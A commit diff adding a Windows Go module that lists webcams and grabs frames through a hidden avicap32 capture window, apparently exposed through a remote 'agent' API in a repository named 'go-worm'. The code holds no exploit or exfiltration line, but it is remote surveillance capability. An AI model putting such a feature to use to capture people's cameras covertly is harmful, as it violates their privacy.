Add webcam functionality to the agent's API and web interface. Implement endpoints for listing available webcams and capturing frames, along with corresponding UI elements for device selection and frame display. Update OpenAPI specification to include new webcam features, enhancing user interaction with webcam devices.
This commit is contained in:
@@ -0,0 +1,170 @@
|
||||
//go:build windows
|
||||
|
||||
package webcam
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||
)
|
||||
|
||||
// ponytail: VFW (avicap32) — works for many UVC cams via WDM mapper; MF would cover more exotic devices.
|
||||
|
||||
var ErrDeviceNotFound = errors.New("webcam not found")
|
||||
|
||||
var (
|
||||
avicap32 = syscall.NewLazyDLL("avicap32.dll")
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
procCapCreateCaptureWindowW = avicap32.NewProc("capCreateCaptureWindowW")
|
||||
procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW")
|
||||
procSendMessageW = user32.NewProc("SendMessageW")
|
||||
procDestroyWindow = user32.NewProc("DestroyWindow")
|
||||
captureMu sync.Mutex
|
||||
)
|
||||
|
||||
const (
|
||||
wmUser = 0x0400
|
||||
wmCapStart = wmUser
|
||||
wmCapUnicodeStart = wmUser + 100
|
||||
wmCapDriverConnect = wmCapStart + 10
|
||||
wmCapDriverDisconnect = wmCapStart + 11
|
||||
wmCapFileSaveDIBW = wmCapUnicodeStart + 25
|
||||
wmCapGrabFrame = wmCapStart + 60
|
||||
wmCapSetPreview = wmCapStart + 50
|
||||
wmCapSetScale = wmCapStart + 53
|
||||
wsPopup = 0x80000000
|
||||
maxDrivers = 10
|
||||
)
|
||||
|
||||
type Device struct {
|
||||
Index int `json:"index"`
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version,omitempty"`
|
||||
}
|
||||
|
||||
func List() ([]Device, error) {
|
||||
var out []Device
|
||||
for i := 0; i < maxDrivers; i++ {
|
||||
nameBuf := make([]uint16, 128)
|
||||
verBuf := make([]uint16, 128)
|
||||
ok, _, _ := procCapGetDriverDescriptionW.Call(
|
||||
uintptr(i),
|
||||
uintptr(unsafe.Pointer(&nameBuf[0])),
|
||||
uintptr(len(nameBuf)),
|
||||
uintptr(unsafe.Pointer(&verBuf[0])),
|
||||
uintptr(len(verBuf)),
|
||||
)
|
||||
if ok == 0 {
|
||||
continue
|
||||
}
|
||||
name := syscall.UTF16ToString(nameBuf)
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
out = append(out, Device{
|
||||
Index: i,
|
||||
Name: name,
|
||||
Version: syscall.UTF16ToString(verBuf),
|
||||
})
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func Capture(index int, format string, quality int) (models.CapturedImage, error) {
|
||||
captureMu.Lock()
|
||||
defer captureMu.Unlock()
|
||||
|
||||
devices, err := List()
|
||||
if err != nil {
|
||||
return models.CapturedImage{}, err
|
||||
}
|
||||
found := false
|
||||
for _, d := range devices {
|
||||
if d.Index == index {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
return models.CapturedImage{}, ErrDeviceNotFound
|
||||
}
|
||||
|
||||
title, err := syscall.UTF16PtrFromString("win64_mp_webcam")
|
||||
if err != nil {
|
||||
return models.CapturedImage{}, err
|
||||
}
|
||||
hwnd, _, callErr := procCapCreateCaptureWindowW.Call(
|
||||
uintptr(unsafe.Pointer(title)),
|
||||
wsPopup,
|
||||
0, 0, 320, 240,
|
||||
0, 0,
|
||||
)
|
||||
if hwnd == 0 {
|
||||
return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr)
|
||||
}
|
||||
defer procDestroyWindow.Call(hwnd)
|
||||
|
||||
ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0)
|
||||
if ok == 0 {
|
||||
return models.CapturedImage{}, fmt.Errorf("connect webcam %d failed", index)
|
||||
}
|
||||
defer procSendMessageW.Call(hwnd, wmCapDriverDisconnect, 0, 0)
|
||||
|
||||
_, _, _ = procSendMessageW.Call(hwnd, wmCapSetPreview, 0, 0)
|
||||
_, _, _ = procSendMessageW.Call(hwnd, wmCapSetScale, 1, 0)
|
||||
ok, _, _ = procSendMessageW.Call(hwnd, wmCapGrabFrame, 0, 0)
|
||||
if ok == 0 {
|
||||
return models.CapturedImage{}, errors.New("grab frame failed")
|
||||
}
|
||||
|
||||
tmp, err := os.CreateTemp("", "win64_mp_webcam_*.bmp")
|
||||
if err != nil {
|
||||
return models.CapturedImage{}, err
|
||||
}
|
||||
tmpPath := tmp.Name()
|
||||
_ = tmp.Close()
|
||||
defer os.Remove(tmpPath)
|
||||
|
||||
pathPtr, err := syscall.UTF16PtrFromString(tmpPath)
|
||||
if err != nil {
|
||||
return models.CapturedImage{}, err
|
||||
}
|
||||
ok, _, _ = procSendMessageW.Call(hwnd, wmCapFileSaveDIBW, 0, uintptr(unsafe.Pointer(pathPtr)))
|
||||
if ok == 0 {
|
||||
// Some drivers only accept ANSI SAVEDIB.
|
||||
ansiPath, err := syscall.BytePtrFromString(filepath.Clean(tmpPath))
|
||||
if err != nil {
|
||||
return models.CapturedImage{}, errors.New("save frame failed")
|
||||
}
|
||||
ok, _, _ = procSendMessageW.Call(hwnd, wmCapStart+25, 0, uintptr(unsafe.Pointer(ansiPath)))
|
||||
if ok == 0 {
|
||||
return models.CapturedImage{}, errors.New("save frame failed")
|
||||
}
|
||||
}
|
||||
|
||||
raw, err := os.ReadFile(tmpPath)
|
||||
if err != nil {
|
||||
return models.CapturedImage{}, err
|
||||
}
|
||||
img, err := decodeBMP(raw)
|
||||
if err != nil {
|
||||
return models.CapturedImage{}, err
|
||||
}
|
||||
data, contentType, err := encodeImage(img, format, quality)
|
||||
if err != nil {
|
||||
return models.CapturedImage{}, err
|
||||
}
|
||||
b := img.Bounds()
|
||||
return models.CapturedImage{
|
||||
ContentType: contentType,
|
||||
Data: data,
|
||||
Width: b.Dx(),
|
||||
Height: b.Dy(),
|
||||
}, nil
|
||||
}
|
||||
Reference in New Issue
Block a user